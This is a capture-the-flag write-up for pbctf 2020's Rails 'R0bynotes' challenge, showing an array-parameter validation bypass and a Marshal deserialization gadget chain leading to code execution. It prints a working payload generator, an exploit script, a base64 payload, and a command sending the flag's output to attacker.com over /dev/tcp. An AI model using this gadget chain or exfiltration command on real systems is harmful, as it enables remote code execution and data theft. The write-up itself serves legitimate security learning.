[pbctf 2020] R0bynotes
Rails is secure by default so it’s perfect for my amazing notes app https://r0bynotes.chal.perfect.blue - source Note: If you find the flag, please remove the flag{..} wrapper and wrap it with pbctf{…} instead
We’re presented with a ruby-on-rails application, which always comes with a lot of files, directory and other kinds of cruft, so let’s get down to the files that normally really matter: the controllers. (On the way to opening that folder, also note that there’s a read_flag
binary, so we’ll need to get RCE.) Upon looking at the note controller, we see something very interesting: there’s a Marshal.load
happening. Those are always a good sign of potential exploits ahead. The first snag: the deserialization is reading from a file we can’t seem to control other than by having something Marshal.dump
ed into it.
Let’s see if we can get a file write with other contents somewhere. In the users controller, the user id is used as filename, with name
– something else we can control – as file contents. So if we could get a user id of say /notes/something_here
, we could use name
to dump our deserialization payload, then access the note something_here
and get our victory. The only obstacle:
def valid_user_id?
raise ActionController::BadRequest.new("invalid username") if raw_user_id&.count("^a-z0-9") > 0
end
Testing some standard web stuff, we discover that providing the id as id[]=/notes/something_here
works perfectly. This probably works because calling count
on list doesn’t use regular expressions.
One more problem that we encountered concerns the matter of url encoding. As it turns out, ruby expects the payload to be encoded in UTF-8 first, so e.g. sending %FF
directly wouldn’t work, but should be %C3%BF
instead. Using encodeURIComponent
in the browser console automatically does this, while python’s urllib.parse.quote
, which we were using, does not.
Alright, we’ve got deserialization, time to find a gadget chain we can use. Most gadget chains to be found online somehow rely on ERB
being present, but currently, rails uses Erubi
as is erb processor, which does not have the same easy eval, unfortunately. Browsing through the source code some more it is…
Grepping through the rails source code for useful eval
s or system
s, we eventually came across ActiveModel::AttributeMethods::ClassMethods::CodeGenerator
, which eval
s its sources
list when calling the execute
method. To trigger this, we can use the standard ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
trick, which will call a method of our choice when essentially any other method would be used on our deserialized payload. The final problem we encounter along this path is that the DeprecatedInstanceVariableProxy
tries to call @logger.warn
, which fails if we don’t set a logger. We failed at using the default, existing logger that would normally be used, and the Logger
in the standard library has the wrong function signature to fit here (using STDOUT
as argument for this logger makes it impossible to serialize it, but nil
works perfectly fine otherwise). So, more grepping it is, this time for warn
methods. Soon enough, we managed to find that Kernel.warn
works, gadget chain ready to deploy.
Generating the payload:
require "base64"
require 'securerandom'
module ActiveModel; module AttributeMethods; module ClassMethods; class CodeGenerator; end; end; end; end;
module ActiveSupport;class Deprecation;module Reporting; end;class DeprecatedInstanceVariableProxy;end;end;end
code = "%x(/bin/bash -c '/read_flag > /dev/tcp/attacker.com/4444')"
target = ActiveModel::AttributeMethods::ClassMethods::CodeGenerator.allocate
target.instance_variable_set :@sources, [code]
target.instance_variable_set :@owner, ActiveModel::AttributeMethods::ClassMethods
target.instance_variable_set :@path, "(pwned)"
target.instance_variable_set :@line, 1
proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
proxy.instance_variable_set :@instance, target
proxy.instance_variable_set :@method, :execute
proxy.instance_variable_set :@deprecator, Kernel
puts Base64.encode64((Marshal.dump(proxy)).force_encoding "ascii-8bit").gsub "\n", "";
And then creating the file, with a nc
receiver ready to catch the flag when we visit the printed URL:
import base64
from requests import Session
from secrets import token_hex
URL = "https://r0bynotes.chal.perfect.blue"
# URL = "http://localhost:3000"
rnd = lambda: token_hex(10)
def quote(x):
if not isinstance(x, bytes):
x = x.encode()
return ''.join(f'%{hex(z)[2:].zfill(2)}' for y in x for z in chr(y).encode())
s = Session()
def create(username, name, id):
token = s.get(f"{URL}/users/new").text.split('"authenticity_token" value="')[1].split('"')[0]
print(f"{URL}{id}")
data = f'authenticity_token={quote(token)}&user[username]={quote(username)}&user[name]={quote(name)}&id[]={quote(id)}'
return s.post(f"{URL}/users", headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=data, allow_redirects=False).status_code
name = "BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86P0FjdGl2ZU1vZGVsOjpBdHRyaWJ1dGVNZXRob2RzOjpDbGFzc01ldGhvZHM6OkNvZGVHZW5lcmF0b3IJOg1Ac291cmNlc1sGSSI/JXgoL2Jpbi9iYXNoIC1jICcvcmVhZF9mbGFnID4gL2Rldi90Y3AvYXR0YWNrZXIuY29tLzQ0NDQnKQY6BkVUOgtAb3duZXJtMEFjdGl2ZU1vZGVsOjpBdHRyaWJ1dGVNZXRob2RzOjpDbGFzc01ldGhvZHM6CkBwYXRoSSIMKHB3bmVkKQY7CVQ6CkBsaW5laQY6DEBtZXRob2Q6DGV4ZWN1dGU6EEBkZXByZWNhdG9ybQtLZXJuZWw="
print(create(f'organizers_{rnd()}', base64.b64decode(name), '/notes/' + rnd()))
Flag: pbctf{wh3n_c0un7_d035n7_c0un7}